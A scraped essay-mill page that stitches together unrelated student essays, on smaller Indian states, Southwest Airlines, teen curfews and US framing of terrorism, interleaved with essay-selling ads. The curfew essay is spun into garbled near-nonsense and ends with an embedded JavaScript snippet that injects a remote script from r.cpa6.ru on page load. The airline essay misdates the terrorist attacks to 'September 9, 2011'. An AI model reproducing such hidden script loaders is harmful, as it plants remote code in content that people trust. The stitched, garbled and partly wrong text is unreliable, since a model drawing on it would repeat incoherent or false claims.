Advantages and Disadvantages of Smaller States - 1576 Words

Does India need smaller states? By: Ashutosh Kumar Ashutosh Kumar is a professor of political science at Panjab University, Chandigarh, India The Indian ‘model’ of federalism has several marked differences from the classical federal models one finds in countries like the United States, Canada, and Australia. One notable difference has been the unilateral power of the union parliament to reorganize the political structure of the country by forming new states and to alter the areas, boundaries or names of existing sates. Despite having the constitutional power, overwhelming concern for nationbuilding and economic reconstruction based on the development planning model, initially dissuaded the national leadership from conceding to demands for†¦show more content†¦In response, they want statehood with the full powers that entails SHIFT IN INDIA’S FEDERAL IDEOLOGY Three developments mark the shift in India’s federal ideology. First, regional identity, culture, and geographical differences now appear to be better recognized as valid bases for administrative division and political representation as democracy deepens and widens. Second, smaller states are being proposed on the grounds of good governance and development rather than merely on the linguistic or cultural principle was the case of the first two phases of reorganization. 3 Third, recently even dialect communities have been asking for their own ‘territorial homeland’ while underlining the cultural and literary distinctiveness and richness of the dialect (Bundelkhand). ARGUMENTS IN FAVOUR OF SMALLER STATES Does India need smaller states? Let us consider the following three arguments in favour. First, the argument that ‘small is beautiful’ does find resonance in the developmental experiences of the newly created smaller states. Factual analysis shows the development and efficiency argument does work in favour of the new states when compared with the parent states. During the tenth five-year plan period, Chhattisgarh averaged 9.2 percent growth annually compared with 4.3 percent by Madhya Pradesh, Jharkhand averaged 11.1 per cent annually comparedShow MoreRelatedWhy The Electoral College Should Not Be Preserved999 Words   |  4 PagesConstitution, electors per state are equal to the number of seats each state holds in the Congress, which include the Senate and the House of Representative delegations. California holds the most Electoral which is 54 electors. However, with every census the numbers of each states electoral change due to t he process called reapportionment. Reapportionment can be defined as the â€Å"the process by which congressional districts are redrawn and seats are redistributed among states in the house ; reapportionmentRead MoreDollar General Industry and Competitive Analysis1629 Words   |  7 Pageswhere it is likely to strive. In the retail industry, stores are positioned accordingly. Larger firms, such as Wal-Mart, are present in all 50 states and have grown internationally as well. Smaller firms, such as Family Dollar and DG have not expanded into all 50 states, nor have they ventured into foreign markets. In fact, they are only present in 35 states. Each store has found success in different economic regions as well. For instance, Target is considered an upscale discounter. Location, inRead MoreAccounting Convergence1153 Words   |  5 PagesConvergence: Advantages and Disadvantages Winston Churchill once said that â€Å"there is nothing wrong with change, if it is in the right direction† (Thinkexist.com) . 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The senior housing market has had many changes over the past few years, due to the influx of baby boomers retiring. These retired baby boomers have started to rapidly shape the housing market not only for seniors, but for society in general. Senior housing choices influence theRead MoreBenefits Of Genetically Modified Organisms1294 Words   |  6 Pagesuse in food (â€Å"Pros and Cons†). There are many advantages and disadvantages to genetically modified organisms in food, but in my opinion, the disadvantages outweigh the advantages. There are many advantages to the use of GMO’s in our food, both to the body and the environment. The first advantage is they are more resistance to pest and diseases. GMO’s act as a vaccine for plants and animals. â€Å" A report from the University of California in San Diego states that toxic bacteria (yet safe for human use)

Southwest Airlines Motivational Profile - 3108 Words

Southwest Airlines Motivational Profile A motivational profile can provide insights into whether a company is doing the right thing or requires improvements. Although nearly every company proclaims its goal is to deliver exceptional service, research confirms that the service quality of many corporations is below consumer expectations. Southwest Airlines has created a competitive advantage through valuing employees’ needs as a strategy that motivates them to provide better customer service (Hallowell, 1996). According to Czaplewski, Ferguson, and Milliman (2001), Southwest Airlines was one of only two companies to place in both the top-10 most admired organizations and best places to work. Even though there are specific steps†¦show more content†¦Financial Information for the Last Five Years Bankruptcy is the new solvency for America’s legacy carriers in the past five years. Deregulation, terrorist events from September 9, 2011, and the recent recession are likely culprits but inefficient busine ss practices share in the blame. The growth of low cost carriers helped to push airlines such as Delta and United to file for bankruptcy and enter mergers with other floundering legacy carriers. The latest bankruptcy announcement comes from American Airlines, the last of the legacy carriers to file for Chapter 11 protection (De La Merced, 2011). Heavy debt, inefficient aircraft, and high labor costs are forcing American Airlines to restructure just to compete. Profitable airlines are increasingly dependent on consumer fees, fewer routes, and sold out planes to maintain a positive cash flow. Background of Southwest Airlines Southwest Airlines has had its highs and lows while becoming the airline to watch. The Texas-based Southwest Airlines has taken risks and created a reputation for trendsetting and revolutionizing flying (Southwest Airlines, 2011). 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Curfews Essay Research Paper Teen CurfewWhen free essay sample

Curfews Essay, Research Paper Teen Curfew When it was learned that Louisville had input a curfew a few people got disquieted. Had adolescent force gotten so out of control? I don t think so. As stated above, adolescent curfews were brought in to being because of so called monolithic sums of adolescent force. You would believe that you should go forth curfews to the parent. When did the authorities have the ability to state the parents when their kids should be in? And that is were the job lies. Actually the Louisville Police Department ( LPD ) is seeking to swerve the job before they get full blown. For portion of that you get no statement from me. But at that place has to be a better manner. When you think about the existent curfew it effects teens and teens merely. If an officer sees a adolescent out drive after curfew they assume that that individual must be up to something and that merely International Relations and Security Network t the instance. We will write a custom essay sample on Curfews Essay Research Paper Teen CurfewWhen or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page There could be a figure of grounds why that adolescent is out. One might be that he is running to the shop or acquiring a film. They might even be acquiring off from work. Hey that something new a responsible adolescent. Another thing that is incorrect about curfews is that they punish the bulk because of the minority. In other words a few bad apples spoil the whole clump. Why / gt ; non merely seek out the bad apples? It merely sounds so simple, right? But most likely it isn T every bit simple as it sounds, most things neer are. Balogun 2 By this clip you are most likely wondering, why a adolescent is so ardent over something every bit minor as a curfew. One dark I was driving place and I was pulled over for no ground. Possibly I had been rushing, I truly non certain. That was the premise made on my portion, but the ground was that I was out past curfew. Well to do a long narrative short he gave me a ticket that was pointless. All this problem due to me dropping a friend off at place. The thing is there would be no job if the curfew was spread across the board, that includes grownups every bit good as teens. That isn T traveling to go on any clip shortly. But there are good thing that have occurred due to the curfews the offense rate has fallen. But the adolescent rate has stayed the same. Most likely the ground is due to if a adolescent is traveling to interrupt the jurisprudence, he won t attention about the curfew. He will merely travel out and make what he planned. So in shutting, the thing that must be reiterated is that you should non penalize the bulk because of the minority. Besides it must non take away the powers of the parent. As a adolescent this determination has truly affected my life. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

US Exceptionalism in Constructing and Conceptualizing a Terrorist

Introduction Since its foundation in the 1700s, the united states of amerce has thought itself as exceptional. In addition, other nations have perceived the US as largely different from them. According to Deudney and Meiser,1 America is different from other nations in the world in a number of ways. However, the most obvious is the fact that the US is by far the most successful superpower in modern times.Advertising We will write a custom proposal sample on US Exceptionalism in Constructing and Conceptualizing a Terrorist specifically for you for only $16.05 $11/page Learn More The US success is evident in its current exceptional position as the only superpower in the modern world.2.3 Despite its political, economic and social prowess, a number of factors such as terrorism and the go-go China currently threaten the United States of America. Terrorism is by far the most significant threat to the stability position of the US as the world’s economic a nd military superpower. In fact, the nation spends massive resources in protecting itself from terrorism every year, which includes its foreign policy, international intelligence and domestic security. According to Buzan,4 the US’s behavior in the modern world seems to be largely inclined towards protecting herself from acts of terrorism that would otherwise undermine her position as the world’s sole superpower in the modern times. Purpose of the study The purpose of this discussion is to find out some reasons behind the personality of terrorism and terrorist as perceived by Americans. The paper will seek to answer the question on the actual identity of a terrorist, the implications of terrorist on American society. In addition, the discussion will attempt to determine why the global security is solely against the Al-Qaeda and Islamic organizations despite having dozens of other terrorist groups. Study questions What are the reasons behind the personality of the terro rist in the American perception? Who is the terrorist and who is not, and what kind of implications that have on the American society? Why is the global securitization solely against Al-Qaeda and Islamic organizations while there are dozens of other terrorist groups that are not linked to Islam globally Why are we concentrating on securitizing terrorism in understanding of United States interests? Hypothesis of the study From a critical view of US’s behavior, it is worth noting that the United States has some exceptionalsim in constructing and conceptualizing terrorism and a terrorist, and applies its own perceptions on a terrorist in its efforts to maintain the position as the world’s sole superpower.Advertising Looking for proposal on political sciences? Let's see if we can help you! Get your first paper with 15% OFF Learn More Discussion America’s perception on the personality of a terrorist and terrorism The question on who a terrorist is and who a terrorist is not remains an important topic of debate in the modern world. The personality of a terrorist largely lies within the society’s perception of terrorism and the past trend of terrorism in that society. Since the 9/11 terrorist attacks in the United States, the nations perception of terrorism has largely grown to demonstrate certain characteristics that are not only exceptional, but also indicates the exceptional behavior of the US in the last one decade.5.6 It is worth noting that although there are tens of other terrorist groups in various parts of the world, American definition of a terrorist brings seems to refer to extremist Islamic groups with the whole purpose of undermining America’s efforts to control the world economic, social and political system. America’s exceptional paradigm of a terrorist has grown from the 9/11 attacks on Washington and New York. The new paradigm has developed from the Bush administration policies of total war aga inst terrorism whose aim was to eliminate Islamic groups that were considered terrorist organizations.7 The policies created in the first bush administration were by far nearly anti-Semitic or anti-Islam; although the claim was that the policies were actually not based on religion. It is worth noting that the Bush administration put almost its entire focus on Islamic groups, yet other terrorist groups existed in other parts of the world. America’s policies against terrorism and the need to create an international security system that would put the nation in the control of world security system seem to be largely based on the need to eliminate her threats. Of course, the most significant threat to America’s position in the world points towards terrorism and anti-Christian movements and groups in the Middle East and the Islamic world in general. America’s foreign policies and perceptions on terrorism: Is securitization applicable on terrorism applicable for the wh ole world? America’s perception of a terrorist does not necessarily explain who is and who is not a terrorist because the definition of a terrorist within the context of America is actually inclined towards the threat posed by Islamic terrorist groups such as the Al-Qaeda. Since the 9/11 attacks on Washington and New York, America’s perception towards terrorism took a turn, with all efforts being directed towards the elimination of Al-Qaeda.Advertising We will write a custom proposal sample on US Exceptionalism in Constructing and Conceptualizing a Terrorist specifically for you for only $16.05 $11/page Learn More For instance, consider the March 2003 attacks on Iraq. Although the United States claim was based on the need to eliminate Sadaam Hussein’s funding and support to terrorist groups, and particularly the Al-Qaeda, the disapproval of a possible military intervention in Iraq was supported by a number of world nations within th e wide context of the United Nations Security Council. However, the US displayed her exceptionalism by ignoring the warning by the UN and proceeding with the attacks, even though there was little evidence of Iraq’s support to world terrorism. From a critical analysis of America’s perception of a terrorist, it is worth noting that the terrorist according to America’s definition is a ‘person acting as an agent of or on behalf of extremist Islamic groups whose aim is to threaten the position of the US as the sole political, social and economic superpower’. Within the perception of the United States, any person acting in this manner must be considered a terrorist. However, the definition created by the United States does not necessarily explain who is not a terrorist. In fact, it is not appropriate to consider America’s definition of terrorist as leaving out other non-Islamic groups, but the America’s perception seems to be largely based o n its position as an exceptional society.8 For instance, America was founded on a basis that was largely Christian, specifically Protestant and with strong Calvinist and Puritan beliefs. Such beliefs position America and a Christian society and with Christian principles, which perhaps explains where the country’s anti-Islamic acts are based on when it comes to fight against world terrorism. Impact of America’s exceptional position on terrorism on world securitization and global understanding of security system So, why is the global securitization against Al-Qaeda and Islamic organizations while tens of other terrorist groups exist? In addition, why is the world concentrating on securitization terrorism within the understanding of the United States? The answers to these questions lie within the wide context of America’s exceptionalism and its position as the sole superpower in the modern world. Globalization of intelligence took a new beginning after the 9/11 att acks on the US. American became more and more interested in taking a central role in the process of globalization of securitization. In particular, America’s intelligence and international relation have largely been based on the nation’s need to control fight terrorism, especially the Al-Qaeda.Advertising Looking for proposal on political sciences? Let's see if we can help you! Get your first paper with 15% OFF Learn More Most efforts by the United States to create international relations and understanding have largely been focused towards the Middle East. According to Svendsen9, America’s 21st century foreign policies have developed close relationships with a number of nations in the world, but the main aim seem to be the need to control terrorism. For instance, the relationship between the United States and some Muslim nations such as UAE, Qatar, Egypt, Turkey and Saudi Arabia have are based on the understanding that Islamic extremist groups such as Al-Qaeda are a great threat to the presence of the United States in these nations. Secondly, America’s efforts to develop close relationships with other western nations, particularly Britain and other nations in the European Union, are largely based on the need to develop an American understanding and perceptions of terrorism within these nations and from it, gain the required support in dealing with the threat associated with terrorism. C onclusion These facts that tend to explain why every nation with a close relationship with the United States takes serious America’s stand on security and terrorist issues. It appears that these nations have taken the perception that Al-Qaeda is a real threat to their economies, societies and the security system. It is evident that almost the entire world has adopted the American way of thinking, which America applies in its efforts to play the most crucial rule of controlling the process of globalization of securitization. Bibliography Buzan , Barry. American Exceptionalism and September 11: Understanding the Behavior of the Sole Superpower. Chicago: University of Chicago Press, 2005. Deudney, Daniel and Jeffery Meiser. American exceptionalism. Chicago: University of Chicago Press, 2007. Patman, Robert. â€Å"Globalization, the New US Exceptionalism and the War on Terror.† Third World Quarterly 27 (2008): 963-986 Svendsen, Adam. â€Å"The Globalization of Intelligenc e since 9/11: Frameworks and Operational Parameters.† Cambridge Review of International Affairs, 21 (2008): 129-144 Footnotes 1 Daniel Deudney and Jeffery Meiser, American exceptionalism, (Chicago: University of Chicago Press, 2007), 2-4 2 Robert Patman â€Å"Globalization, the New US Exceptionalism and the War on Terror,† Third World Quarterly 27 (2008): 964 3 Barry Buzan, American Exceptionalism and September 11: Understanding the Behavior of the Sole Superpower, (Chicago: University of Chicago Press, 2005), 12-19 4 Buzan, 13 5 Patman 965 6 Deudney and Meiser 3 7 Buzan 14 8 Patman 967 9 Adam Svendsen, The Globalization of Intelligence since 9/11: Frameworks and Operational Parameters,† Cambridge Review of International Affairs, 21 (2008): 129 This proposal on US Exceptionalism in Constructing and Conceptualizing a Terrorist was written and submitted by user Caitlyn Bell to help you with your own studies. You are free to use it for research and reference purposes in order to write your own paper; however, you must cite it accordingly. You can donate your paper here.